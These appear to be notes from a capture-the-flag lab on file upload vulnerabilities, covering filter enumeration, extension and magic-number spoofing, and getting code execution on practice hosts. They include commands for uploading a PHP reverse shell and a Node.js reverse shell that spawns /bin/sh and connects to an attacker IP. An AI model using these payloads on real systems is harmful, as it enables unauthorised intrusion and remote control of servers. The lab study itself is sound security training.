To tackle file upload challenges, begin by examining the website to identify its technology and potential attack vectors (e.g. upload pages), using tools like Wappalyzer or Burpsuite to gather information from headers and server responses (e.g. server, x-powered-by).
Locate an upload page and review its client-side scripts for filters.
Perform a test upload with an innocent file to understand how the website processes and stores uploads (upload dir, embedding, naming scheme), using tools like Gobuster to find uploaded file locations (-x switch in Gobuster).
Once the upload behavior is understood, attempt to bypass client-side filters with a malicious file and analyze any server-side rejection for clues.
Common server-side filters include extension whitelists/blacklists, magic number checks, MIME type validation, or file size restrictions, which can be identified through systematic testing, such as altering file attributes (e.g. invalid file extension, magic number, file size) or intercepting upload requests (e.g. change MIME type with BurpSuite). Use this information to refine your approach and improve the likelihood of a successful exploit.
Remote Code Execution (RCE)
gobuster dir -u http://shell.uploadvulns.thm -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 64 > shell.uploadvulns.dirs
# /resources (Status: 301) [Size: 334] [--> http://shell.uploadvulns.thm/resources/]
# /assets (Status: 301) [Size: 331] [--> http://shell.uploadvulns.thm/assets/]
webshells # on Kali
cp /usr/share/webshells/php/php-reverse-shell.php .
# open the file and change the IP to THM VPN tunnel IP
# upload the file to http://shell.uploadvulns.thm/
nc -nvlp 1234
# Open
# http://shell.uploadvulns.thm/resources/php-reverse-shell.php
# Reverse shell
cat /var/www/flag.txt
Client-Side filtering bypass
client-side-filter.js
Waits for the window to load.
Sets up an event listener on a file input.
Validates that the selected file is a PNG image.
Displays the file name if valid or clears and hides input if invalid.
Manages UI feedback using additional functions (error, success).
window.onload = function(){
var upload = document.getElementById("fileSelect");
var responseMsg = document.getElementsByClassName("responseMsg")[0];
var errorMsg = document.getElementById("errorMsg");
var uploadMsg = document.getElementById("uploadtext");
upload.value="";
upload.addEventListener("change",function(event){
var file = this.files[0];
responseMsg.style = "display:none;";
if (file.type != "image/png"){
upload.value = "";
uploadMsg.style = "display:none;";
error();
} else{
uploadMsg.innerHTML = "Chosen File: " + upload.value.split(/(\\|\/)/g).pop();
responseMsg.style="display:none;";
errorMsg.style="display:none;";
success();
}
});
};
đ "The key to bypassing any kind of server side filter is to enumerate and see what is allowed, as well as what is blocked; then try to craft a payload which can pass the criteria the filter is looking for."
Find the assets folder
gobuster dir -u http://annex.uploadvulns.thm/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 64
Try to upload shell.php - errors
Try to upload shell-png.php - errors
Try to upload shell.php5 - works, file uploaded successfully
Access the randomized naming *-shell.php5 file to receive the reverse shell
đ Magic numbers, the initial hex digits in a file, can validate file uploads by matching against a whitelist or blacklist, though their reliability varies by webserver type.
gobuster dir -u http://magic.uploadvulns.thm/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 64
Try to upload shell.php - errors "GIFs only please!"
Upload the new magic.php file with GIF Hex signature - "File successfully uploaded"
Access the randomized naming *-shell.php5 file to receive the reverse shell
cp shell.php magic.php
file magic.php
shell.php: PHP script, ASCII text
nano magic.php
# add as first line, a number of random bytes = number of chosen magic number (GIF87a)
# in this case
# AAAAAA
hexeditor magic.php
# Modify the Hex signature to be 47 49 46 38 37 61
file magic.php
shell.php: GIF image data, version 87a, 15370 x 28735
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(1234, "<ATTACKER_IP>", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application from crashing
})();
Check source code and the available .js files
<!DOCTYPE html>
<html>
<head>
<title>Jewel</title>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=no">
<link type="text/css" rel="stylesheet" href="assets/css/style.css">
<link type="text/css" rel="stylesheet" href="assets/css/cinzel.css">
<link type="text/css" rel="stylesheet" href="assets/css/exo.css">
<link type="text/css" rel="stylesheet" href="assets/css/icons.css">
<link type="image/x-icon" rel="shortcut icon" href="assets/favicon.ico">
<script src="assets/js/jquery-3.5.1.min.js"></script>
<script src="assets/js/jquery.colour-2.2.0.min.js"></script>
<script src="assets/js/upload.js"></script>
<script src="assets/js/backgrounds.js"></script>
</head>
<body>
<div id="one" class="background"></div>
<div id="two" class="background" style="display:none;"></div>
<div id="three" class="background" style="display:none;"></div>
<div id="four" class="background" style="display:none;"></div>
<main>
<object ondragstart="return false;" ondrop="return false;" id="title" data="/assets/title.svg" type="image/svg+xml"></object>
<p>Have you got a nice image of a gem or a jewel?<br>Upload it here and we'll add it to the slides!</p>
<button class="Btn" id="uploadBtn"><i id="uploadIcon" class="material-icons">backup</i> Select and Upload</button>
<input id="fileSelect" type="file" name="fileToUpload" accept="image/jpeg">
</main>
<p id="responseMsg" style="display:none;"></p>
</body>
</html>
File Validation:
File Size Check: Ensures the file size is less than 50 KB.
Magic Number Check: Validates the fileâs magic number to ensure it's a JPEG image (ÃŋÃÃŋ).
File Extension Check: Confirms the file extension is .jpg or .jpeg.
Another way is to modify jewel.js to make it a JPEG file under 50 KB with the magic numberFF D8 FF DB and a .jpgextension
file jewel.js
jewel.js: JavaScript source, ASCII text
cp jewel.js jewel.jpg
nano jewel.jpg
# add as first line, a number of random bytes = number of necessary magic number (ÃŋÃÃŋÃ)
# in this case
# AAAA
hexeditor jewel.jpg
# Modify the Hex signature to be FF D8 FF DB
file jewel.jpg
jewel.jpg: JPEG image data
Upload the jewel.jpg file - Successful upload
It will not work when launched via the Admin page because it is not recognized as a js script
cp jewel.js jewel.jpg
file jewel.jpg
jewel.jpg: JavaScript source, ASCII text
Upload the jewel.jpg file - Successful upload because server-side only checks for MIME type (file extension)